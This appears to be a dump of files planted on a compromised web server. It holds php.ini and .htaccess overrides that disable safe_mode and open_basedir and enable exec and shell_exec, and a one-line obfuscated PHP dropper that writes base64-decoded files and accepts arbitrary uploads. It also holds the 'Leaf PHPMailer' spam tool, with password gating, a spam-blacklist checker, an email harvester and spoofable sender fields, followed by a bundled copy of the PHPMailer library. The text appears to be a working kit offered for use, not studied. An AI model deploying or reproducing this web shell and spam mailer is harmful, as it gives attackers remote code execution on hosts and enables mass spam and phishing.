        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>



Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'base'.'64'.'_de'.'cod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php

$password = "hofijvq1Fpz";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
